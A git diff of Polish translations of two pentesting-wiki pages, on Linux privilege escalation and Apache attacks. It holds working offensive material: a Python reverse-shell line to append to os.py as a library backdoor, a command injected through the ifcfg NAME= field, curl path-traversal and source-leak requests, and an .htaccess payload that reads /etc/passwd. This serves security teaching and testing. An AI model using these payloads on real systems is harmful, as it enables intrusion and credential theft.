narzędziem**, które możesz użyć do tego celu, jest: [**LaZagne**](https://github.com/AlessandroZ/LaZagne), które jest aplikacją open source używaną do odzyskiwania wielu haseł przechowywanych na lokalnym komputerze dla systemów Windows, Linux i Mac. +Przeczytaj kod [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS), on wyszukuje **kilka możliwych plików, które mogą zawierać passwords**.\ +**Innym ciekawym narzędziem** które możesz użyć do tego jest: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) które jest otwartoźródłową aplikacją używaną do odzyskiwania wielu passwords przechowywanych na lokalnym komputerze dla Windows, Linux & Mac. -### Dzienniki +### Logs -Jeśli możesz czytać dzienniki, możesz być w stanie znaleźć **interesujące/poufne informacje w ich wnętrzu**. Im bardziej dziwny jest dziennik, tym bardziej interesujący będzie (prawdopodobnie).\ -Ponadto, niektóre "**źle**" skonfigurowane (z backdoorem?) **dzienniki audytu** mogą pozwolić ci na **rejestrowanie haseł** w dziennikach audytu, jak wyjaśniono w tym poście: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). +Jeśli możesz czytać logs, możesz znaleźć w nich **interesujące/tajne informacje**. Im dziwniejsze logs, tym ciekawsze będą (prawdopodobnie).\ +Ponadto niektóre "**bad**" skonfigurowane (backdoored?) **audit logs** mogą pozwolić Ci **zapisać passwords** w audit logs jak wyjaśniono w tym poście: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). ```bash aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g" grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null ``` Aby **czytać logi, grupa** [**adm**](interesting-groups-linux-pe/index.html#adm-group) będzie naprawdę pomocna. -### Pliki powłoki +### Pliki Shell ```bash ~/.bash_profile # if it exists, read it once when you log in to the shell ~/.bash_login # if it exists, read it once if .bash_profile doesn't exist @@ -1324,41 +1347,41 @@ Aby **czytać logi, grupa** [**adm**](interesting-groups-linux-pe/index.html#adm ``` ### Generic Creds Search/Regex -Powinieneś również sprawdzić pliki zawierające słowo "**password**" w **nazwie** lub wewnątrz **treści**, a także sprawdzić IP i e-maile w logach lub wyrażenia regularne dla hashy.\ -Nie zamierzam tutaj wymieniać, jak to wszystko zrobić, ale jeśli jesteś zainteresowany, możesz sprawdzić ostatnie kontrole, które wykonuje [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh). +Powinieneś także sprawdzić pliki zawierające słowo "**password**" w ich **nazwie** lub w **zawartości**, a także sprawdzić IP i e-maile w logach, lub regexps dla hashy.\ +Nie będę tu opisywał, jak to wszystko zrobić, ale jeśli jesteś zainteresowany, możesz sprawdzić ostatnie sprawdzenia, które wykonuje [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh). -## Writable files +## Pliki zapisywalne ### Python library hijacking -Jeśli wiesz, **skąd** skrypt pythonowy będzie wykonywany i **możesz pisać w** tym folderze lub **możesz modyfikować biblioteki python**, możesz zmodyfikować bibliotekę OS i wprowadzić do niej backdoora (jeśli możesz pisać tam, gdzie skrypt pythonowy będzie wykonywany, skopiuj i wklej bibliotekę os.py). +If you know from **where** a python script is going to be executed and you **can write inside** that folder or you can **modify python libraries**, you can modify the OS library and backdoor it (if you can write where python script is going to be executed, copy and paste the os.py library). -Aby **wprowadzić backdoora do biblioteki**, po prostu dodaj na końcu biblioteki os.py następującą linię (zmień IP i PORT): +To **backdoor the library** just add at the end of the os.py library the following line (change IP and PORT): ```python import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]); ``` -### Wykorzystanie logrotate +### Logrotate exploitation -Luka w `logrotate` pozwala użytkownikom z **uprawnieniami do zapisu** w pliku dziennika lub jego katalogach nadrzędnych potencjalnie uzyskać podwyższone uprawnienia. Dzieje się tak, ponieważ `logrotate`, często działający jako **root**, może być manipulowany do wykonywania dowolnych plików, szczególnie w katalogach takich jak _**/etc/bash_completion.d/**_. Ważne jest, aby sprawdzić uprawnienia nie tylko w _/var/log_, ale także w każdym katalogu, w którym stosuje się rotację logów. +Luka w `logrotate` pozwala użytkownikom z **uprawnieniami do zapisu** na pliku logu lub jego katalogach nadrzędnych potencjalnie uzyskać eskalację uprawnień. Dzieje się tak, ponieważ `logrotate`, często uruchamiany jako **root**, może być zmanipulowany do wykonania dowolnych plików, szczególnie w katalogach takich jak _**/etc/bash_completion.d/**_. Ważne jest sprawdzenie uprawnień nie tylko w _/var/log_, ale także w każdym katalogu, gdzie stosowana jest rotacja logów. > [!TIP] -> Ta luka dotyczy wersji `logrotate` `3.18.0` i starszych +> Ta luka dotyczy `logrotate` w wersji `3.18.0` i starszych -Szczegółowe informacje na temat luki można znaleźć na tej stronie: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). +Szczegółowe informacje o luce można znaleźć na tej stronie: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). -Możesz wykorzystać tę lukę za pomocą [**logrotten**](https://github.com/whotwagner/logrotten). +Możesz wykorzystać tę lukę przy pomocy [**logrotten**](https://github.com/whotwagner/logrotten). -Ta luka jest bardzo podobna do [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(logi nginx),** więc za każdym razem, gdy stwierdzisz, że możesz zmieniać logi, sprawdź, kto zarządza tymi logami i sprawdź, czy możesz uzyskać podwyższone uprawnienia, zastępując logi dowiązaniami symbolicznymi. +Ta luka jest bardzo podobna do [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** więc zawsze gdy możesz zmieniać logi, sprawdź, kto nimi zarządza i czy możesz eskalować uprawnienia, zastępując logi symlinkami. ### /etc/sysconfig/network-scripts/ (Centos/Redhat) -**Referencja luki:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) +**Odnośnik do luki:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) -Jeśli, z jakiegokolwiek powodu, użytkownik jest w stanie **zapisać** skrypt `ifcf-` do _/etc/sysconfig/network-scripts_ **lub** może **dostosować** istniejący, to twój **system jest przejęty**. +Jeżeli, z jakiegokolwiek powodu, użytkownik jest w stanie **zapisać** skrypt `ifcf-` do _/etc/sysconfig/network-scripts_ **lub** może **dostosować** istniejący, to your **system is pwned**. -Skrypty sieciowe, takie jak _ifcg-eth0_, są używane do połączeń sieciowych. Wyglądają dokładnie jak pliki .INI. Jednak są \~sourced\~ w systemie Linux przez Network Manager (dispatcher.d). +Network scripts, _ifcg-eth0_ na przykład są używane do połączeń sieciowych. Wyglądają dokładnie jak pliki .INI. Jednak są ~sourced~ na Linux przez Network Manager (dispatcher.d). -W moim przypadku, atrybut `NAME=` w tych skryptach sieciowych nie jest obsługiwany poprawnie. Jeśli masz **białą/pustą przestrzeń w nazwie, system próbuje wykonać część po białej/pustej przestrzeni**. Oznacza to, że **wszystko po pierwszej pustej przestrzeni jest wykonywane jako root**. +W moim przypadku atrybut `NAME=` w tych skryptach sieciowych nie jest obsługiwany prawidłowo. Jeśli masz **spację w nazwie system próbuje wykonać część po spacji**. To oznacza, że **wszystko po pierwszej spacji jest wykonywane jako root**. Na przykład: _/etc/sysconfig/network-scripts/ifcfg-1337_ ```bash @@ -1366,24 +1389,26 @@ NAME=Network /bin/id ONBOOT=yes DEVICE=eth0 ``` +(_Uwaga: pusty odstęp między Network a /bin/id_) + ### **init, init.d, systemd i rc.d** -Katalog `/etc/init.d` jest domem dla **skryptów** System V init (SysVinit), **klasycznego systemu zarządzania usługami w Linuksie**. Zawiera skrypty do `start`, `stop`, `restart`, a czasami `reload` usług. Mogą być one wykonywane bezpośrednio lub przez dowiązania symboliczne znajdujące się w `/etc/rc?.d/`. Alternatywną ścieżką w systemach Redhat jest `/etc/rc.d/init.d`. +Katalog `/etc/init.d` zawiera **skrypty** dla System V init (SysVinit), **klasycznego systemu zarządzania usługami w Linuksie**. Zawiera skrypty do `start`, `stop`, `restart` i czasami `reload` usług. Mogą one być uruchamiane bezpośrednio lub przez dowiązania symboliczne znajdujące się w `/etc/rc?.d/`. Alternatywna ścieżka w systemach Redhat to `/etc/rc.d/init.d`. -Z drugiej strony, `/etc/init` jest związany z **Upstart**, nowszym **systemem zarządzania usługami** wprowadzonym przez Ubuntu, wykorzystującym pliki konfiguracyjne do zadań zarządzania usługami. Pomimo przejścia na Upstart, skrypty SysVinit są nadal wykorzystywane obok konfiguracji Upstart z powodu warstwy zgodności w Upstart. +Z kolei `/etc/init` jest związany z **Upstart**, nowszym systemem **zarządzania usługami** wprowadzonym przez Ubuntu, wykorzystującym pliki konfiguracyjne do zarządzania usługami. Pomimo przejścia na Upstart, skrypty SysVinit są nadal używane równolegle z konfiguracjami Upstart dzięki warstwie kompatybilności w Upstart. -**systemd** pojawia się jako nowoczesny menedżer inicjalizacji i usług, oferujący zaawansowane funkcje, takie jak uruchamianie demonów na żądanie, zarządzanie automatycznym montowaniem i migawki stanu systemu. Organizuje pliki w `/usr/lib/systemd/` dla pakietów dystrybucyjnych i `/etc/systemd/system/` dla modyfikacji administratora, usprawniając proces administracji systemem. +**systemd** wyłania się jako nowoczesny system inicjalizacji i menedżer usług, oferując zaawansowane funkcje takie jak uruchamianie daemonów na żądanie, zarządzanie automountami oraz snapshoty stanu systemu. Organizuje pliki w `/usr/lib/systemd/` dla pakietów dystrybucyjnych oraz `/etc/systemd/system/` dla modyfikacji administratora, upraszczając administrację systemem. ## Inne sztuczki -### Eskalacja uprawnień NFS +### NFS Privilege escalation {{#ref}} nfs-no_root_squash-misconfiguration-pe.md {{#endref}} -### Ucieczka z ograniczonych powłok +### Escaping from restricted Shells {{#ref}} @@ -1397,31 +1422,40 @@ escaping-from-limited-bash.md cisco-vmanage.md {{#endref}} -## Ochrony bezpieczeństwa jądra +## Android rooting frameworks: manager-channel abuse + +Android rooting frameworks często hookują syscall, aby udostępnić uprzywilejowaną funkcjonalność kernela do userspace managera. Słaba autentykacja managera (np. sprawdzenia sygnatury oparte na FD-order lub słabe schematy haseł) może umożliwić lokalnej aplikacji podszycie się pod managera i eskalację do root na urządzeniach już zrootowanych. Dowiedz się więcej i szczegóły eksploatacji tutaj: + + +{{#ref}} +android-rooting-frameworks-manager-auth-bypass-syscall-hook.md +{{#endref}} + +## Mechanizmy zabezpieczeń jądra - [https://github.com/a13xp0p0v/kconfig-hardened-check](https://github.com/a13xp0p0v/kconfig-hardened-check) - [https://github.com/a13xp0p0v/linux-kernel-defence-map](https://github.com/a13xp0p0v/linux-kernel-defence-map) ## Więcej pomocy -[Statyczne binaria impacket](https://github.com/ropnop/impacket_static_binaries) +[Static impacket binaries](https://github.com/ropnop/impacket_static_binaries) -## Narzędzia do eskalacji uprawnień Linux/Unix +## Linux/Unix Privesc Tools -### **Najlepsze narzędzie do wyszukiwania wektorów lokalnej eskalacji uprawnień w Linuksie:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) +### **Najlepsze narzędzie do wyszukiwania lokalnych privilege escalation wektorów dla Linux:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) **LinEnum**: [https://github.com/rebootuser/LinEnum](https://github.com/rebootuser/LinEnum)(-t option)\ **Enumy**: [https://github.com/luke-goddard/enumy](https://github.com/luke-goddard/enumy)\ **Unix Privesc Check:** [http://pentestmonkey.net/tools/audit/unix-privesc-check](http://pentestmonkey.net/tools/audit/unix-privesc-check)\ **Linux Priv Checker:** [www.securitysift.com/download/linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py)\ **BeeRoot:** [https://github.com/AlessandroZ/BeRoot/tree/master/Linux](https://github.com/AlessandroZ/BeRoot/tree/master/Linux)\ -**Kernelpop:** Wykrywanie luk w jądrze w Linuksie i MAC [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\ +**Kernelpop:** Enumerate kernel vulns ins linux and MAC [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\ **Mestaploit:** _**multi/recon/local_exploit_suggester**_\ **Linux Exploit Suggester:** [https://github.com/mzet-/linux-exploit-suggester](https://github.com/mzet-/linux-exploit-suggester)\ -**EvilAbigail (dostęp fizyczny):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\ -**Kompilacja więcej skryptów**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc) +**EvilAbigail (physical access):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\ +**Recopilation of more scripts**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc) -## Odnośniki +## Referencje - [https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/](https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/) - [https://payatu.com/guide-linux-privilege-escalation/](https://payatu.com/guide-linux-privilege-escalation/) @@ -1442,13 +1476,4 @@ cisco-vmanage.md - [https://www.linode.com/docs/guides/what-is-systemd/](https://www.linode.com/docs/guides/what-is-systemd/) -## Ramy do rootowania Androida: nadużycie menedżera kanału - -Ramy do rootowania Androida zwykle podłączają syscall, aby ujawnić uprzywilejowaną funkcjonalność jądra użytkownikowi menedżera. Słaba autoryzacja menedżera (np. kontrole podpisów oparte na kolejności FD lub słabe schematy haseł) mogą umożliwić lokalnej aplikacji podszywanie się pod menedżera i eskalację do roota na już zrootowanych urządzeniach. Dowiedz się więcej i szczegóły eksploatacji tutaj: - - -{{#ref}} -android-rooting-frameworks-manager-auth-bypass-syscall-hook.md -{{#endref}} - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/apache.md b/src/network-services-pentesting/pentesting-web/apache.md index f048658c3..71a926d35 100644 --- a/src/network-services-pentesting/pentesting-web/apache.md +++ b/src/network-services-pentesting/pentesting-web/apache.md @@ -4,11 +4,11 @@ ## Wykonywalne rozszerzenia PHP -Sprawdź, które rozszerzenia wykonuje serwer Apache. Aby je wyszukać, możesz wykonać: +Sprawdź, które rozszerzenia są uruchamiane przez serwer Apache. Aby je znaleźć, możesz wykonać: ```bash grep -R -B1 "httpd-php" /etc/apache2 ``` -Również niektóre miejsca, w których możesz znaleźć tę konfigurację, to: +Ponadto, niektóre miejsca, w których można znaleźć tę konfigurację to: ```bash /etc/apache2/mods-available/php5.conf /etc/apache2/mods-enabled/php5.conf @@ -21,19 +21,47 @@ curl http://172.18.0.15/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Con uid=1(daemon) gid=1(daemon) groups=1(daemon) Linux ``` -## Atak konfuzji +## LFI przez .htaccess ErrorDocument file provider (ap_expr) -Te typy ataków zostały wprowadzone i udokumentowane [**przez Orange w tym poście na blogu**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1), a poniżej znajduje się podsumowanie. Atak "konfuzji" zasadniczo wykorzystuje to, jak dziesiątki modułów współpracujących w Apache nie działają idealnie zsynchronizowane, a zmiana niektórych z nich w celu modyfikacji nieoczekiwanych danych może spowodować lukę w późniejszym module. +Jeśli możesz kontrolować .htaccess katalogu i AllowOverride obejmuje FileInfo dla tej ścieżki, możesz przekształcić odpowiedzi 404 w dowolne odczyty lokalnych plików, używając funkcji ap_expr file() wewnątrz ErrorDocument. -### Konfuzja nazwy pliku +- Wymagania: +- Apache 2.4 z włączonym parserem wyrażeń (ap_expr) (domyślnie w 2.4). +- vhost/dir musi pozwalać .htaccess na ustawienie ErrorDocument (AllowOverride FileInfo). +- Użytkownik procesu Apache musi mieć uprawnienia do odczytu docelowego pliku. -#### Skracanie +.htaccess payload: +```apache +# Optional marker header just to identify your tenant/request path +Header always set X-Debug-Tenant "demo" +# On any 404 under this directory, return the contents of an absolute filesystem path +ErrorDocument 404 %{file:/etc/passwd} +``` +Wywołaj, żądając dowolnej nieistniejącej ścieżki w tym katalogu, na przykład podczas nadużywania hostingu w stylu userdir: +```bash +curl -s http://target/~user/does-not-exist | sed -n '1,20p' +``` +Notatki i wskazówki: +- Działają tylko ścieżki bezwzględne. Zawartość jest zwracana jako ciało odpowiedzi dla obsługi 404. +- Efektywne uprawnienia do odczytu są takie, jak użytkownika Apache (zazwyczaj www-data/apache). Nie odczytasz /root/* ani /etc/shadow w domyślnych konfiguracjach. +- Nawet jeśli .htaccess jest własnością root, jeśli katalog nadrzędny należy do tenant i pozwala na zmianę nazwy, możesz być w stanie zmienić nazwę oryginalnego .htaccess i przesłać własny zamiennik przez SFTP/FTP: +- rename .htaccess .htaccess.bk +- put your malicious .htaccess +- Użyj tego, aby odczytać źródła aplikacji w DocumentRoot lub w ścieżkach konfiguracji vhost i wydobyć sekrety (DB creds, API keys, itd.). -**`mod_rewrite`** obetnie zawartość `r->filename` po znaku `?` ([_**modules/mappers/mod_rewrite.c#L4141**_](https://github.com/apache/httpd/blob/2.4.58/modules/mappers/mod_rewrite.c#L4141)). To nie jest całkowicie błędne, ponieważ większość modułów traktuje `r->filename` jako URL. Jednak w innych przypadkach będzie to traktowane jako ścieżka do pliku, co może spowodować problem. +## Confusion Attack -- **Skracanie ścieżki** +These types of attacks has been introduced and documented [**by Orange in this blog post**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1) and the following is a summary. The "confusion" attack basically abuses how the tens of modules that work together creating a Apache don't work perfectly synchronised and making some of them modify some unexpected data can cause a vulnerability in a later module. -Można wykorzystać `mod_rewrite` jak w poniższym przykładzie reguły, aby uzyskać dostęp do innych plików w systemie plików, usuwając ostatnią część oczekiwanej ścieżki, dodając po prostu `?`: +### Filename Confusion + +#### Truncation + +The **`mod_rewrite`** will trim the content of `r->filename` after the character `?` ([_**modules/mappers/mod_rewrite.c#L4141**_](https://github.com/apache/httpd/blob/2.4.58/modules/mappers/mod_rewrite.c#L4141)). This isn't totally wrong as most modules will treat `r->filename` as an URL. Bur in other occasions this will be treated as file path, which would cause a problem. + +- **Path Truncation** + +Możliwe jest nadużycie `mod_rewrite` jak w poniższym przykładzie reguły, aby uzyskać dostęp do innych plików w systemie plików, usuwając ostatnią część oczekiwanej ścieżki przez dodanie po prostu `?`: ```bash RewriteEngine On RewriteRule "^/user/(.+)$" "/var/user/$1/profile.yml" @@ -46,9 +74,9 @@ curl http://server/user/orange curl http://server/user/orange%2Fsecret.yml%3F # the output of file `/var/user/orange/secret.yml` ``` -- **Wprowadzenie w błąd przypisania RewriteFlag** +- **Mislead RewriteFlag Assignment** -W poniższej regule przepisywania, dopóki URL kończy się na .php, będzie traktowany i wykonywany jako php. Dlatego możliwe jest wysłanie URL, który kończy się na .php po znaku `?`, podczas gdy w ścieżce ładowany jest inny typ pliku (np. obraz) z złośliwym kodem php w środku: +W poniższej regule rewrite, dopóki URL kończy się na .php, będzie on traktowany i wykonywany jako php. Dlatego możliwe jest wysłanie URL, który kończy się na .php po znaku `?`, przy jednoczesnym wczytaniu w ścieżce innego typu pliku (np. obrazu) zawierającego złośliwy kod php: ```bash RewriteEngine On RewriteRule ^(.+\.php)$ $1 [H=application/x-httpd-php] @@ -63,7 +91,7 @@ curl http://server/upload/1.gif%3fooo.php ``` #### **ACL Bypass** -Możliwe jest uzyskanie dostępu do plików, do których użytkownik nie powinien mieć dostępu, nawet jeśli dostęp powinien być zabroniony w przypadku konfiguracji takich jak: +Możliwe jest uzyskanie dostępu do plików, do których użytkownik nie powinien mieć dostępu, nawet jeśli dostęp powinien być zablokowany przy konfiguracjach takich jak: ```xml AuthType Basic @@ -72,20 +100,20 @@ AuthUserFile "/etc/apache2/.htpasswd" Require valid-user ``` -To dlatego, że domyślnie PHP-FPM odbierze adresy URL kończące się na `.php`, takie jak `http://server/admin.php%3Fooo.php`, a ponieważ PHP-FPM usunie wszystko po znaku `?`, poprzedni adres URL pozwoli na załadowanie `/admin.php`, nawet jeśli poprzednia reguła tego zabraniała. +To dlatego, że domyślnie PHP-FPM otrzymuje URL-e kończące się na `.php`, np. `http://server/admin.php%3Fooo.php`, a ponieważ PHP-FPM usuwa wszystko po znaku `?`, powyższy URL pozwoli załadować `/admin.php` nawet jeśli poprzednia reguła tego zabraniała. -### DocumentRoot Confusion +### Zamieszanie związane z DocumentRoot ```bash DocumentRoot /var/www/html RewriteRule ^/html/(.*)$ /$1.html ``` -Ciekawostką na temat Apache jest to, że poprzednie przepisywanie spróbuje uzyskać dostęp do pliku zarówno z documentRoot, jak i z root. Tak więc, żądanie do `https://server/abouth.html` sprawdzi plik w `/var/www/html/about.html` oraz `/about.html` w systemie plików. Co zasadniczo może być wykorzystane do uzyskania dostępu do plików w systemie plików. +Ciekawostka dotycząca Apache: powyższy rewrite będzie próbował uzyskać dostęp do pliku zarówno z documentRoot, jak i z root. Tak więc żądanie do `https://server/abouth.html` sprawdzi istnienie pliku w `/var/www/html/about.html` oraz w `/about.html` w systemie plików. Co w praktyce można wykorzystać do uzyskania dostępu do plików w systemie plików. #### **Ujawnienie kodu źródłowego po stronie serwera** - **Ujawnij kod źródłowy CGI** -Wystarczy dodać %3F na końcu, aby ujawnić kod źródłowy modułu cgi: +Wystarczy dodać %3F na końcu, aby spowodować leak kodu źródłowego modułu cgi: ```bash curl http://server/cgi-bin/download.cgi # the processed result from download.cgi @@ -95,62 +123,62 @@ curl http://server/html/usr/lib/cgi-bin/download.cgi%3F # ... # # the source code of download.cgi ``` -- **Ujawnienie kodu źródłowego PHP** +- **Ujawnij kod źródłowy PHP** -Jeśli serwer ma różne domeny, z jedną z nich jako domeną statyczną, można to wykorzystać do przeszukiwania systemu plików i ujawnienia kodu php: +Jeśli serwer obsługuje różne domeny, a jedna z nich jest domeną statyczną, można to wykorzystać do przeszukiwania systemu plików i leak php code: ```bash # Leak the config.php file of the www.local domain from the static.local domain curl http://www.local/var/www.local/config.php%3F -H "Host: static.local" # the source code of config.php ``` -#### **Manipulacja lokalnymi gadżetami** +#### **Local Gadgets Manipulation** -Głównym problemem z poprzednim atakiem jest to, że domyślnie większość dostępu do systemu plików będzie zablokowana, jak w [szablonie konfiguracji](https://github.com/apache/httpd/blob/trunk/docs/conf/httpd.conf.in#L115) serwera Apache HTTP. +Głównym problemem poprzedniego ataku jest to, że domyślnie większość dostępu do systemu plików zostanie zablokowana, jak w Apache HTTP Server’s [configuration template](https://github.com/apache/httpd/blob/trunk/docs/conf/httpd.conf.in#L115): ```xml AllowOverride None Require all denied ``` -Jednak systemy operacyjne [Debian/Ubuntu](https://sources.debian.org/src/apache2/2.4.62-1/debian/config-dir/apache2.conf.in/#L165) domyślnie pozwalają na `/usr/share`: +Jednak systemy operacyjne [Debian/Ubuntu](https://sources.debian.org/src/apache2/2.4.62-1/debian/config-dir/apache2.conf.in/#L165) domyślnie zezwalają na `/usr/share`: ```xml AllowOverride None Require all granted ``` -Zatem możliwe byłoby **nadużycie plików znajdujących się w `/usr/share` w tych dystrybucjach.** +Dlatego możliwe byłoby **wykorzystanie plików znajdujących się w `/usr/share` w tych dystrybucjach.** -**Lokalny Gadget do ujawnienia informacji** +**Local Gadget to Information Disclosure** -- **Apache HTTP Server** z **websocketd** może ujawniać skrypt **dump-env.php** w **/usr/share/doc/websocketd/examples/php/**, co może prowadzić do ujawnienia wrażliwych zmiennych środowiskowych. -- Serwery z **Nginx** lub **Jetty** mogą ujawniać wrażliwe informacje o aplikacjach webowych (np. **web.xml**) poprzez swoje domyślne katalogi webowe umieszczone w **/usr/share**: +- **Apache HTTP Server** z **websocketd** może ujawnić skrypt **dump-env.php** pod **/usr/share/doc/websocketd/examples/php/**, który może leak wrażliwe zmienne środowiskowe. +- Serwery z **Nginx** lub **Jetty** mogą ujawnić sensitive web application information (np. **web.xml**) przez swoje domyślne web rooty umieszczone pod **/usr/share**: - **/usr/share/nginx/html/** - **/usr/share/jetty9/etc/** - **/usr/share/jetty9/webapps/** -**Lokalny Gadget do XSS** +**Local Gadget to XSS** -- Na Ubuntu Desktop z **zainstalowanym LibreOffice**, wykorzystanie funkcji zmiany języka w plikach pomocy może prowadzić do **Cross-Site Scripting (XSS)**. Manipulowanie adresem URL w **/usr/share/libreoffice/help/help.html** może przekierować na złośliwe strony lub starsze wersje poprzez **niebezpieczne RewriteRule**. +- Na Ubuntu Desktop z zainstalowanym **LibreOffice**, wykorzystanie funkcji zmiany języka w plikach pomocy może doprowadzić do **Cross-Site Scripting (XSS)**. Manipulacja URL-em pod **/usr/share/libreoffice/help/help.html** może przekierować do złośliwych stron lub starszych wersji przez unsafe RewriteRule. -**Lokalny Gadget do LFI** +**Local Gadget to LFI** -- Jeśli zainstalowane są PHP lub niektóre pakiety front-endowe, takie jak **JpGraph** lub **jQuery-jFeed**, ich pliki mogą być wykorzystywane do odczytu wrażliwych plików, takich jak **/etc/passwd**: +- Jeśli PHP lub niektóre front-endowe pakiety jak **JpGraph** czy **jQuery-jFeed** są zainstalowane, ich pliki mogą zostać wykorzystane do odczytu wrażliwych plików jak **/etc/passwd**: - **/usr/share/doc/libphp-jpgraph-examples/examples/show-source.php** - **/usr/share/javascript/jquery-jfeed/proxy.php** - **/usr/share/moodle/mod/assignment/type/wims/getcsv.php** -**Lokalny Gadget do SSRF** +**Local Gadget to SSRF** -- Wykorzystując **magpie_debug.php** z **MagpieRSS** w **/usr/share/php/magpierss/scripts/magpie_debug.php**, można łatwo stworzyć lukę SSRF, co daje dostęp do dalszych exploitów. +- Wykorzystanie **MagpieRSS's magpie_debug.php** w **/usr/share/php/magpierss/scripts/magpie_debug.php** może łatwo stworzyć SSRF, dając wejście do dalszych exploitów. -**Lokalny Gadget do RCE** +**Local Gadget to RCE** -- Możliwości **Remote Code Execution (RCE)** są ogromne, z podatnymi instalacjami, takimi jak przestarzały **PHPUnit** lub **phpLiteAdmin**. Mogą być one wykorzystywane do wykonywania dowolnego kodu, co pokazuje ogromny potencjał manipulacji lokalnymi gadżetami. +- Okazji do **Remote Code Execution (RCE)** jest wiele — podatne instalacje jak przestarzałe **PHPUnit** czy **phpLiteAdmin** mogą zostać wykorzystane do wykonania dowolnego kodu, pokazując szeroki potencjał manipulacji lokalnymi gadgetami. -#### **Jailbreak z lokalnych gadżetów** +#### **Jailbreak z lokalnych gadgetów** -Możliwe jest również uzyskanie dostępu do systemu z dozwolonych folderów, podążając za symlinkami generowanymi przez zainstalowane oprogramowanie w tych folderach, takich jak: +Możliwe jest także jailbreak z dozwolonych folderów przez podążanie za symlinkami tworzonymi przez zainstalowane oprogramowanie w tych folderach, np.: - **Cacti Log**: `/usr/share/cacti/site/` -> `/var/log/cacti/` - **Solr Data**: `/usr/share/solr/data/` -> `/var/lib/solr/data` @@ -158,37 +186,37 @@ Możliwe jest również uzyskanie dostępu do systemu z dozwolonych folderów, p - **MediaWiki Config**: `/usr/share/mediawiki/config/` -> `/var/lib/mediawiki/config/` - **SimpleSAMLphp Config**: `/usr/share/simplesamlphp/config/` -> `/etc/simplesamlphp/` -Ponadto, nadużywając symlinków, możliwe było uzyskanie **RCE w Redmine.** +Co więcej, poprzez nadużycie symlinków możliwe było uzyskanie **RCE in Redmine.** -### Confuzja Handlera +### Zamieszanie z handlerami -Ten atak wykorzystuje nakładanie się funkcjonalności między dyrektywami `AddHandler` i `AddType`, które mogą być używane do **włączania przetwarzania PHP**. Początkowo dyrektywy te wpływały na różne pola (`r->handler` i `r->content_type` odpowiednio) w wewnętrznej strukturze serwera. Jednak z powodu kodu dziedziczonego, Apache obsługuje te dyrektywy zamiennie w określonych warunkach, przekształcając `r->content_type` w `r->handler`, jeśli ten pierwszy jest ustawiony, a drugi nie. +Ten atak wykorzystuje nakładanie się funkcjonalności dyrektyw `AddHandler` i `AddType`, które obie mogą być użyte do **włączenia przetwarzania PHP**. Początkowo te dyrektywy wpływały na różne pola (`r->handler` oraz `r->content_type` odpowiednio) w wewnętrznej strukturze serwera. Jednak ze względu na legacy code, Apache traktuje te dyrektywy zamiennie w pewnych warunkach, konwertując `r->content_type` na `r->handler` jeśli pierwsze jest ustawione, a drugie nie. -Ponadto, w Apache HTTP Server (`server/config.c#L420`), jeśli `r->handler` jest pusty przed wykonaniem `ap_run_handler()`, serwer **używa `r->content_type` jako handlera**, co skutecznie czyni `AddType` i `AddHandler` identycznymi w skutkach. +Co więcej, w Apache HTTP Server (`server/config.c#L420`), jeśli `r->handler` jest puste przed wywołaniem `ap_run_handler()`, serwer **używa `r->content_type` jako handlera**, efektywnie czyniąc `AddType` i `AddHandler` równoważnymi w skutku. -#### **Nadpisanie Handlera w celu ujawnienia kodu źródłowego PHP** +#### **Overwrite Handler to Disclose PHP Source Code** -W [**tej prezentacji**](https://web.archive.org/web/20210909012535/https://zeronights.ru/wp-content/uploads/2021/09/013_dmitriev-maksim.pdf) przedstawiono lukę, w której niepoprawny `Content-Length` wysłany przez klienta może spowodować, że Apache błędnie **zwróci kod źródłowy PHP**. Działo się tak z powodu problemu z obsługą błędów 